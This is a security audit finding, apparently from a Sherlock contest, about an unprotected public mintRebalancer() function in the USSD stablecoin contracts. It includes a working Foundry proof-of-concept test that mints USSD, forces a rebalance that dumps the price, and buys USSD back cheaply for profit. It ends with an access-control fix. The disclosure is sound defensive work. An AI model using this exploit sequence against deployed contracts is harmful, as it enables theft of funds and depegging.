0xyPhilic

high

# Attacker can force protocol to dump USSD price on UniV3 Pool

## Summary

The protocol allows anyone to invoke the `rebalance()` function in `USSDRebalancer.sol` contract in order to restore the peg either up or down on the UniswapV3 USSD/DAI pool. During the rebalancing the contract checks if the price on Uniswap is above or below a given threshold and executes either a sell of USSD and buy of collateral (peg-down) or sell of collateral and buy of USSD (peg-up). During the peg-down process the Rebalancer contract mints a certain amount of USSD by calling `mintRebalancer()` function on `USSD.sol`, which is then sold on the UniswapV3 pool for DAI and the DAI is converted to other supported collaterals based on pre-set ratios.

## Vulnerability Detail

The vulnerability comes from the `mintRebalancer()` function which is set to `public` and has no access control specified. This allows an attacker to force the protocol to sell way more USSD when the peg-down operation happens during the `rebalance()` process. The only pre-requisite is that the current price on the UniswapV3 pool is higher than the set threshold on the protocol side in order for the rebalancing flow to enter in the following code block:

```solidity
else if (ownval > 1e6 + threshold) {
        // mint and buy collateral
        // never sell too much USSD for DAI so it 'overshoots' (becomes more in quantity than DAI on the pool)
        // otherwise could be arbitraged through mint/redeem
        // the execution difference due to fee should be taken into accounting too
        // take 1% safety margin (estimated as 2 x 0.5% fee)
        IUSSD(USSD).mintRebalancer(((DAIamount / 1e12 - USSDamount)/2) * 99 / 100); // mint ourselves amount till balance recover
        SellUSSDBuyCollateral();
      }
```

Since the `SellUSSDBuyCollateral()` internally uses the entire USSD balance of `USSD.sol` as an amount to sell, the attacker can inflate the balance before calling `rebalance()` by invoking `mintRebalancer()` which just mints a specified amount of USSD and keeps it on the `USSD.sol` contract. (https://github.com/sherlock-audit/2023-05-USSD/blob/main/ussd-contracts/contracts/USSD.sol#L204-L206)

The `rebalance()` flow will just proceed selling all the amount on the UniswapV3 USSD/DAI pool.

## Impact

This vulnerability will cause a significant dump on the UniswapV3 USSD/DAI price which can be used by the attacker to scoop USSD from the pool at extremely cheap prices. Moreover the peg would be lost, which could significantly affect any external integrations that rely on the UniswapV3 pool to compute the price of USSD (i.e. lending protocols etc.). After buying cheap USSD from the UniswapV3 pool the attacker can potentially call `rebalance()` again to force the protocol to sell collateral from the reserves and purchase USSD from the pool in order to restore the peg, which would allow the attacker to sell his/hers USSD after with a potentially significant profit.

The current lack of slippage parameter in the `UniV3SwapInput()` function in the `USSD.sol` contract allows this attack to also negatively impact the protocol as due to significant slippage a lot less collateral will be received thus lowering the collateraliazation ratio of the stable coin. Note that even with a set slippage the possibility for the attacker to `mint` tokens could block the `rebalance()` functionality and put the protocol in a temporary DoS state. 

## Code Snippet

Note: The liquidity for the USSD/DAI pair on UniswapV3 is spread across the full range - same as in the `USSDsimulator.test.js`.

```solidity
        int24 lowerTick = -880000;
        int24 upperTick = 880000;
```

Running the following test shows that the `attacker` leverages the exploit to turn 1000 DAI to 1321.481076384914247325 DAI, giving him ~321 DAI in pure profit.

```solidity
function test_exploitOpenMint() external {
        // Alice buys USSD from the UniswapV3 USSD/DAI pool pushing the price up above threshold
        vm.startPrank(_alice);
        _dai.approve(address(_uniRouter), type(uint256).max);
        IV3SwapRouter.ExactInputSingleParams memory params = IV3SwapRouter.ExactInputSingleParams({
            tokenIn: address(_dai),
            tokenOut: address(_ussd),
            fee: uint24(500),
            recipient: _alice,
            amountIn: 500e18,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        _uniRouter.exactInputSingle(params);
        vm.stopPrank();
        // Bob is a regular user who mints USSD by directly depositing DAI in the contract
        vm.startPrank(_bob);
        _dai.approve(address(_ussd), type(uint256).max);
        _ussd.mintForToken(address(_dai), 3000e18, _bob);
        vm.stopPrank();
        // Attacker calls open mintRebalancer() function after which executes rebalance
        // causing the protocol to sell way more than expected dumping significantly
        // the price on the UniswapV3 USSD/DAI pool
        vm.startPrank(_attacker);
        _ussd.mintRebalancer(3000e6);
        _ussd.approveToRouter(address(_ussd));
        _ussd.approveToRouter(address(_dai));
        _rebalancer.rebalance();
        console.log("Valuation after Exploit Mint: ", _rebalancer.getOwnValuation());
        // Attacker buys cheap USSD from the pool - for 2000 DAI in this case he receives 2683 USSD (due to slippage and low liquidity)
        _dai.approve(address(_uniRouter), type(uint256).max);
        IV3SwapRouter.ExactInputSingleParams memory attackParams = IV3SwapRouter.ExactInputSingleParams({
            tokenIn: address(_dai),
            tokenOut: address(_ussd),
            fee: uint24(500),
            recipient: _attacker,
            amountIn: 1000e18,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        _uniRouter.exactInputSingle(attackParams);
        console.log("Balance of Attacker after mint: ", _ussd.balanceOf(_attacker));
        _rebalancer.rebalance();
        IV3SwapRouter.ExactInputSingleParams memory sellForProfitParams = IV3SwapRouter.ExactInputSingleParams({
            tokenIn: address(_ussd),
            tokenOut: address(_dai),
            fee: uint24(500),
            recipient: _attacker,
            amountIn: _ussd.balanceOf(_attacker),
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        _ussd.approve(address(_uniRouter), type(uint256).max);
        uint256 amountReceived = _uniRouter.exactInputSingle(sellForProfitParams);
        vm.stopPrank();
        assertGt(amountReceived, 1000e18);
    }
```

## Tool used

Manual Review / Foundry

## Recommendation

Add the `onlyBalancer()` modifier to the `mintRebalancer()` function. This would not allow anyone except the Rebalancer contract to mint USSD without collateral which is needed for the peg-down operations during the `rebalance()` process.
